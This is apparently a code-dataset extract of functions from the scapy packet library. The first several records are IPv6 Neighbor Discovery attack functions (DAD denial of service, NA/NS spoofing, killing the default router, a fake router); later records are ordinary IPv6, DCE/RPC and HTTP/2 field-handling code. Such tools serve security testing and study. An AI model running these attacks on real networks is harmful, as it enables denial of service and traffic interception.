def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a ...
[ "Perform", "the", "DAD", "DoS", "attack", "using", "NS", "described", "in", "section", "4", ".", "1", ".", "3", "of", "RFC", "3756", ".", "This", "is", "done", "by", "listening", "incoming", "NS", "messages", "*", "sent", "from", "the", "unspecified", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3488-L3546
[ "def", "NDP_Attack_DAD_DoS_via_NA", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "na_reply_callback", "(", "req", ",", "reply_mac", ",", "iface", ")", ":", "\...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_NA_Spoofing
The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointless (from an attacker standpoint) because it will not lead to a modification of a victim's neighbor cache, the function send advertisements...
scapy/layers/inet6.py
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointl...
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointl...
[ "The", "main", "purpose", "of", "this", "function", "is", "to", "send", "fake", "Neighbor", "Advertisement", "messages", "to", "a", "victim", ".", "As", "the", "emission", "of", "unsolicited", "Neighbor", "Advertisement", "is", "pretty", "pointless", "(", "fro...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3549-L3684
[ "def", "NDP_Attack_NA_Spoofing", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ",", "router", "=", "False", ")", ":", "def", "is_request", "(", "req", ",", "mac_src_filter", ",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_NS_Spoofing
The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order to either create a new entry in its neighbor cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated that a node SHOULD create the entry or update an existing one (if it is not cur...
scapy/layers/inet6.py
def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order...
def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order...
[ "The", "main", "purpose", "of", "this", "function", "is", "to", "send", "fake", "Neighbor", "Solicitations", "messages", "to", "a", "victim", "in", "order", "to", "either", "create", "a", "new", "entry", "in", "its", "neighbor", "cache", "or", "update", "a...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3687-L3791
[ "def", "NDP_Attack_NS_Spoofing", "(", "src_lladdr", "=", "None", ",", "src", "=", "None", ",", "target", "=", "\"2001:db8::1\"", ",", "dst", "=", "None", ",", "src_mac", "=", "None", ",", "dst_mac", "=", "None", ",", "loop", "=", "True", ",", "inter", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_Kill_Default_Router
The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router Lifetime values) and invalidate them by immediately replying with fake RA messages advertising a zero Router Lifetime value. The result on receivers is that the router is immediately invali...
scapy/layers/inet6.py
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router L...
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router L...
[ "The", "purpose", "of", "the", "function", "is", "to", "monitor", "incoming", "RA", "messages", "sent", "by", "default", "routers", "(", "RA", "with", "a", "non", "-", "zero", "Router", "Lifetime", "values", ")", "and", "invalidate", "them", "by", "immedia...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3794-L3913
[ "def", "NDP_Attack_Kill_Default_Router", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "ip_src_filter", "=", "None", ",", "reply_mac", "=", "None", ",", "tgt_mac", "=", "None", ")", ":", "def", "is_request", "(", "req", ",", "mac_src_fi...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_Fake_Router
The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the function is a simple wrapper around sendp() that monitor the link for RS messages. It is probably better explained with ...
scapy/layers/inet6.py
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the funct...
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the funct...
[ "The", "purpose", "of", "this", "function", "is", "to", "send", "provided", "RA", "message", "at", "layer", "2", "(", "i", ".", "e", ".", "providing", "a", "packet", "starting", "with", "IPv6", "will", "not", "work", ")", "in", "response", "to", "recei...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3916-L3994
[ "def", "NDP_Attack_Fake_Router", "(", "ra", ",", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "ip_src_filter", "=", "None", ")", ":", "def", "is_request", "(", "req", ",", "mac_src_filter", ",", "ip_src_filter", ")", ":", "\"\"\"\n Che...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
IPv6.route
Used to select the L2 address
scapy/layers/inet6.py
def route(self): """Used to select the L2 address""" dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) return conf.route6.route(dst)
def route(self): """Used to select the L2 address""" dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) return conf.route6.route(dst)
[ "Used", "to", "select", "the", "L2", "address" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L282-L287
[ "def", "route", "(", "self", ")", ":", "dst", "=", "self", ".", "dst", "if", "isinstance", "(", "dst", ",", "Gen", ")", ":", "dst", "=", "next", "(", "iter", "(", "dst", ")", ")", "return", "conf", ".", "route6", ".", "route", "(", "dst", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
train
IPv6.extract_padding
Extract the IPv6 payload
scapy/layers/inet6.py
def extract_padding(self, data): """Extract the IPv6 payload""" if self.plen == 0 and self.nh == 0 and len(data) >= 8: # Extract Hop-by-Hop extension length hbh_len = orb(data[1]) hbh_len = 8 + hbh_len * 8 # Extract length from the Jumbogram option ...
def extract_padding(self, data): """Extract the IPv6 payload""" if self.plen == 0 and self.nh == 0 and len(data) >= 8: # Extract Hop-by-Hop extension length hbh_len = orb(data[1]) hbh_len = 8 + hbh_len * 8 # Extract length from the Jumbogram option ...
[ "Extract", "the", "IPv6", "payload" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L299-L329
[ "def", "extract_padding", "(", "self", ",", "data", ")", ":", "if", "self", ".", "plen", "==", "0", "and", "self", ".", "nh", "==", "0", "and", "len", "(", "data", ")", ">=", "8", ":", "# Extract Hop-by-Hop extension length", "hbh_len", "=", "orb", "("...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
ICMPv6MLQuery2.post_build
Compute the 'sources_number' field when needed
scapy/layers/inet6.py
def post_build(self, packet, payload): """Compute the 'sources_number' field when needed""" if self.sources_number is None: srcnum = struct.pack("!H", len(self.sources)) packet = packet[:26] + srcnum + packet[28:] return _ICMPv6.post_build(self, packet, payload)
def post_build(self, packet, payload): """Compute the 'sources_number' field when needed""" if self.sources_number is None: srcnum = struct.pack("!H", len(self.sources)) packet = packet[:26] + srcnum + packet[28:] return _ICMPv6.post_build(self, packet, payload)
[ "Compute", "the", "sources_number", "field", "when", "needed" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1508-L1513
[ "def", "post_build", "(", "self", ",", "packet", ",", "payload", ")", ":", "if", "self", ".", "sources_number", "is", "None", ":", "srcnum", "=", "struct", ".", "pack", "(", "\"!H\"", ",", "len", "(", "self", ".", "sources", ")", ")", "packet", "=", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
ICMPv6MLReport2.post_build
Compute the 'records_number' field when needed
scapy/layers/inet6.py
def post_build(self, packet, payload): """Compute the 'records_number' field when needed""" if self.records_number is None: recnum = struct.pack("!H", len(self.records)) packet = packet[:6] + recnum + packet[8:] return _ICMPv6.post_build(self, packet, payload)
def post_build(self, packet, payload): """Compute the 'records_number' field when needed""" if self.records_number is None: recnum = struct.pack("!H", len(self.records)) packet = packet[:6] + recnum + packet[8:] return _ICMPv6.post_build(self, packet, payload)
[ "Compute", "the", "records_number", "field", "when", "needed" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1550-L1555
[ "def", "post_build", "(", "self", ",", "packet", ",", "payload", ")", ":", "if", "self", ".", "records_number", "is", "None", ":", "recnum", "=", "struct", ".", "pack", "(", "\"!H\"", ",", "len", "(", "self", ".", "records", ")", ")", "packet", "=", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
parse_config_file
Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "crc": true, "scapy": "scapy", "preexec": {}, "global_preexec": "", "outputfile": null, "local": true,...
scapy/tools/UTscapy.py
def parse_config_file(config_path, verb=3): """Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "crc": true, "scapy": "scapy", "preexec": {}, "global_preexec":...
def parse_config_file(config_path, verb=3): """Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "crc": true, "scapy": "scapy", "preexec": {}, "global_preexec":...
[ "Parse", "provided", "json", "to", "get", "configuration", "Empty", "default", "json", ":", "{", "testfiles", ":", "[]", "breakfailed", ":", "true", "onlyfailed", ":", "false", "verb", ":", "3", "dump", ":", "0", "crc", ":", "true", "scapy", ":", "scapy"...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/tools/UTscapy.py#L255-L302
[ "def", "parse_config_file", "(", "config_path", ",", "verb", "=", "3", ")", ":", "import", "json", "import", "unicodedata", "with", "open", "(", "config_path", ")", "as", "config_file", ":", "data", "=", "json", ".", "load", "(", "config_file", ",", "encod...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
EndiannessField.set_endianess
Add the endianness to the format
scapy/contrib/dce_rpc.py
def set_endianess(self, pkt): """Add the endianness to the format""" end = self.endianess_from(pkt) if isinstance(end, str) and end: if isinstance(self.fld, UUIDField): self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<' else UU...
def set_endianess(self, pkt): """Add the endianness to the format""" end = self.endianess_from(pkt) if isinstance(end, str) and end: if isinstance(self.fld, UUIDField): self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<' else UU...
[ "Add", "the", "endianness", "to", "the", "format" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L41-L51
[ "def", "set_endianess", "(", "self", ",", "pkt", ")", ":", "end", "=", "self", ".", "endianess_from", "(", "pkt", ")", "if", "isinstance", "(", "end", ",", "str", ")", "and", "end", ":", "if", "isinstance", "(", "self", ".", "fld", ",", "UUIDField", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
EndiannessField.getfield
retrieve the field with endianness
scapy/contrib/dce_rpc.py
def getfield(self, pkt, buf): """retrieve the field with endianness""" self.set_endianess(pkt) return self.fld.getfield(pkt, buf)
def getfield(self, pkt, buf): """retrieve the field with endianness""" self.set_endianess(pkt) return self.fld.getfield(pkt, buf)
[ "retrieve", "the", "field", "with", "endianness" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L53-L56
[ "def", "getfield", "(", "self", ",", "pkt", ",", "buf", ")", ":", "self", ".", "set_endianess", "(", "pkt", ")", "return", "self", ".", "fld", ".", "getfield", "(", "pkt", ",", "buf", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
train
EndiannessField.addfield
add the field with endianness to the buffer
scapy/contrib/dce_rpc.py
def addfield(self, pkt, buf, val): """add the field with endianness to the buffer""" self.set_endianess(pkt) return self.fld.addfield(pkt, buf, val)
def addfield(self, pkt, buf, val): """add the field with endianness to the buffer""" self.set_endianess(pkt) return self.fld.addfield(pkt, buf, val)
[ "add", "the", "field", "with", "endianness", "to", "the", "buffer" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L58-L61
[ "def", "addfield", "(", "self", ",", "pkt", ",", "buf", ",", "val", ")", ":", "self", ".", "set_endianess", "(", "pkt", ")", "return", "self", ".", "fld", ".", "addfield", "(", "pkt", ",", "buf", ",", "val", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
train
DceRpcPayload.dispatch_hook
dispatch_hook to choose among different registered payloads
scapy/contrib/dce_rpc.py
def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): """dispatch_hook to choose among different registered payloads""" for klass in cls._payload_class: if hasattr(klass, "can_handle") and \ klass.can_handle(_pkt, _underlayer): return klass ...
def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): """dispatch_hook to choose among different registered payloads""" for klass in cls._payload_class: if hasattr(klass, "can_handle") and \ klass.can_handle(_pkt, _underlayer): return klass ...
[ "dispatch_hook", "to", "choose", "among", "different", "registered", "payloads" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L145-L152
[ "def", "dispatch_hook", "(", "cls", ",", "_pkt", ",", "_underlayer", "=", "None", ",", "*", "args", ",", "*", "*", "kargs", ")", ":", "for", "klass", "in", "cls", ".", "_payload_class", ":", "if", "hasattr", "(", "klass", ",", "\"can_handle\"", ")", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField._detect_multi_byte
_detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 @param str fb: first byte, as a character. @return bool: True if multibyt...
scapy/contrib/http2.py
def _detect_multi_byte(self, fb): # type: (str) -> bool """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 @para...
def _detect_multi_byte(self, fb): # type: (str) -> bool """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 @para...
[ "_detect_multi_byte", "returns", "whether", "the", "AbstractUVarIntField", "is", "represented", "on", "#", "noqa", ":", "E501", "multiple", "bytes", "or", "not", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L234-L246
[ "def", "_detect_multi_byte", "(", "self", ",", "fb", ")", ":", "# type: (str) -> bool", "assert", "(", "isinstance", "(", "fb", ",", "int", ")", "or", "len", "(", "fb", ")", "==", "1", ")", "return", "(", "orb", "(", "fb", ")", "&", "self", ".", "_...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField._parse_multi_byte
_parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. @param str s: the multibyte string to parse. @return int: The parsed int value represented by this AbstractUVarIntField. # noqa: E501 @raise: AssertionError @raise: Sca...
scapy/contrib/http2.py
def _parse_multi_byte(self, s): # type: (str) -> int """ _parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. @param str s: the multibyte string to parse. @return int: The parsed int value represented by this AbstractUVarI...
def _parse_multi_byte(self, s): # type: (str) -> int """ _parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. @param str s: the multibyte string to parse. @return int: The parsed int value represented by this AbstractUVarI...
[ "_parse_multi_byte", "parses", "x", "as", "a", "multibyte", "representation", "to", "get", "the", "int", "value", "of", "this", "AbstractUVarIntField", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L248-L282
[ "def", "_parse_multi_byte", "(", "self", ",", "s", ")", ":", "# type: (str) -> int", "assert", "(", "len", "(", "s", ")", ">=", "2", ")", "tmp_len", "=", "len", "(", "s", ")", "value", "=", "0", "i", "=", "1", "byte", "=", "orb", "(", "s", "[", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField.m2i
A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501 equal "size". @param packet.Packet|None pkt: un...
scapy/contrib/http2.py
def m2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int """ A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining...
def m2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int """ A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining...
[ "A", "tuple", "is", "expected", "for", "the", "x", "param", "only", "if", "size", "is", "different", "than", "8", ".", "If", "a", "tuple", "is", "received", "some", "bits", "#", "noqa", ":", "E501", "were", "consumed", "by", "another", "field", ".", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L284-L310
[ "def", "m2i", "(", "self", ",", "pkt", ",", "x", ")", ":", "# type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int", "assert", "(", "isinstance", "(", "x", ",", "bytes", ")", "or", "(", "isinstance", "(", "x", ",", "tuple", ")", "and", "x", "[...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField.any2i
A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. @param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501 @param str|int|None x: the value to convert. ...
scapy/contrib/http2.py
def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 """ A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. @param pack...
def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 """ A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. @param pack...
[ "A", "x", "value", "as", "a", "string", "is", "parsed", "as", "a", "binary", "encoding", "of", "a", "UVarInt", ".", "An", "int", "is", "considered", "an", "internal", "value", ".", "#", "noqa", ":", "E501", "None", "is", "returned", "as", "is", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L335-L357
[ "def", "any2i", "(", "self", ",", "pkt", ",", "x", ")", ":", "# type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501", "if", "isinstance", "(", "x", ",", "type", "(", "None", ")", ")", ":", "return", "x", "if", "isinstance", "(", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField.addfield
An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix length is 8 bits and the whole byte is to be consumed @param packet.Packet|None pkt: the packet containing this field. Probably unuse...
scapy/contrib/http2.py
def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 """ An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix leng...
def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 """ An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix leng...
[ "An", "AbstractUVarIntField", "prefix", "always", "consumes", "the", "remaining", "bits", "of", "a", "BitField", ";", "if", "no", "current", "BitField", "is", "in", "use", "(", "no", "tuple", "in", "entry", ")", "then", "the", "prefix", "length", "is", "8"...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L368-L397
[ "def", "addfield", "(", "self", ",", "pkt", ",", "s", ",", "val", ")", ":", "# type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501", "assert", "(", "val", ">=", "0", ")", "if", "isinstance", "(", "s", ",", "bytes", ")", ":",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
AbstractUVarIntField._detect_bytelen_from_str
_detect_bytelen_from_str returns the length of the machine representation of an AbstractUVarIntField starting at the beginning of s and which is assumed to expand over multiple bytes (value > _max_prefix_value). @param str s: the string to parse. It is assumed that it is a multiby...
scapy/contrib/http2.py
def _detect_bytelen_from_str(s): # type: (str) -> int """ _detect_bytelen_from_str returns the length of the machine representation of an AbstractUVarIntField starting at the beginning of s and which is assumed to expand over multiple bytes (value > _max_prefix_value). ...
def _detect_bytelen_from_str(s): # type: (str) -> int """ _detect_bytelen_from_str returns the length of the machine representation of an AbstractUVarIntField starting at the beginning of s and which is assumed to expand over multiple bytes (value > _max_prefix_value). ...
[ "_detect_bytelen_from_str", "returns", "the", "length", "of", "the", "machine", "representation", "of", "an", "AbstractUVarIntField", "starting", "at", "the", "beginning", "of", "s", "and", "which", "is", "assumed", "to", "expand", "over", "multiple", "bytes", "("...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L400-L421
[ "def", "_detect_bytelen_from_str", "(", "s", ")", ":", "# type: (str) -> int", "assert", "(", "len", "(", "s", ")", ">=", "2", ")", "tmp_len", "=", "len", "(", "s", ")", "i", "=", "1", "while", "orb", "(", "s", "[", "i", "]", ")", "&", "0x80", ">...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
UVarIntField.h2i
h2i is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert. @return int: the converted value. @raise AssertionError
scapy/contrib/http2.py
def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ h2i is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert....
def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ h2i is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert....
[ "h2i", "is", "overloaded", "to", "restrict", "the", "acceptable", "x", "values", "(", "not", "None", ")" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L504-L515
[ "def", "h2i", "(", "self", ",", "pkt", ",", "x", ")", ":", "# type: (Optional[packet.Packet], int) -> int", "ret", "=", "super", "(", "UVarIntField", ",", "self", ")", ".", "h2i", "(", "pkt", ",", "x", ")", "assert", "(", "not", "isinstance", "(", "ret",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
UVarIntField.i2repr
i2repr is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert. @return str: the converted value.
scapy/contrib/http2.py
def i2repr(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ i2repr is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to co...
def i2repr(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ i2repr is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to co...
[ "i2repr", "is", "overloaded", "to", "restrict", "the", "acceptable", "x", "values", "(", "not", "None", ")" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L543-L551
[ "def", "i2repr", "(", "self", ",", "pkt", ",", "x", ")", ":", "# type: (Optional[packet.Packet], int) -> str", "return", "super", "(", "UVarIntField", ",", "self", ")", ".", "i2repr", "(", "pkt", ",", "x", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
train
FieldUVarLenField._compute_value
Computes the value of this field based on the provided packet and the length_of field and the adjust callback @param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 @return int: the computed value for this field. @raise KeyError: the packet nor its p...
scapy/contrib/http2.py
def _compute_value(self, pkt): # type: (packet.Packet) -> int """ Computes the value of this field based on the provided packet and the length_of field and the adjust callback @param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 @return int...
def _compute_value(self, pkt): # type: (packet.Packet) -> int """ Computes the value of this field based on the provided packet and the length_of field and the adjust callback @param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 @return int...
[ "Computes", "the", "value", "of", "this", "field", "based", "on", "the", "provided", "packet", "and", "the", "length_of", "field", "and", "the", "adjust", "callback" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L616-L632
[ "def", "_compute_value", "(", "self", ",", "pkt", ")", ":", "# type: (packet.Packet) -> int", "fld", ",", "fval", "=", "pkt", ".", "getfield_and_val", "(", "self", ".", "_length_of", ")", "val", "=", "fld", ".", "i2len", "(", "pkt", ",", "fval", ")", "re...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
HPackZString._huffman_encode_char
huffman_encode_char assumes that the static_huffman_tree was previously initialized @param str|EOS c: a symbol to encode @return (int, int): the bitstring of the symbol and its bitlength @raise AssertionError
scapy/contrib/http2.py
def _huffman_encode_char(cls, c): # type: (Union[str, EOS]) -> Tuple[int, int] """ huffman_encode_char assumes that the static_huffman_tree was previously initialized @param str|EOS c: a symbol to encode @return (int, int): the bitstring of the symbol and its bitlength @...
def _huffman_encode_char(cls, c): # type: (Union[str, EOS]) -> Tuple[int, int] """ huffman_encode_char assumes that the static_huffman_tree was previously initialized @param str|EOS c: a symbol to encode @return (int, int): the bitstring of the symbol and its bitlength @...
[ "huffman_encode_char", "assumes", "that", "the", "static_huffman_tree", "was", "previously", "initialized" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1009-L1022
[ "def", "_huffman_encode_char", "(", "cls", ",", "c", ")", ":", "# type: (Union[str, EOS]) -> Tuple[int, int]", "if", "isinstance", "(", "c", ",", "EOS", ")", ":", "return", "cls", ".", "static_huffman_code", "[", "-", "1", "]", "else", ":", "assert", "(", "i...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
HPackZString.huffman_encode
huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter @param str s: the string to encode @return (int, int): the bitstring of s and its bitlength @raise AssertionError
scapy/contrib/http2.py
def huffman_encode(cls, s): # type: (str) -> Tuple[int, int] """ huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter @param str s: the string to encode @return (int, int): the bitstring of s and its bitlength ...
def huffman_encode(cls, s): # type: (str) -> Tuple[int, int] """ huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter @param str s: the string to encode @return (int, int): the bitstring of s and its bitlength ...
[ "huffman_encode", "returns", "the", "bitstring", "and", "the", "bitlength", "of", "the", "bitstring", "representing", "the", "string", "provided", "as", "a", "parameter" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1025-L1050
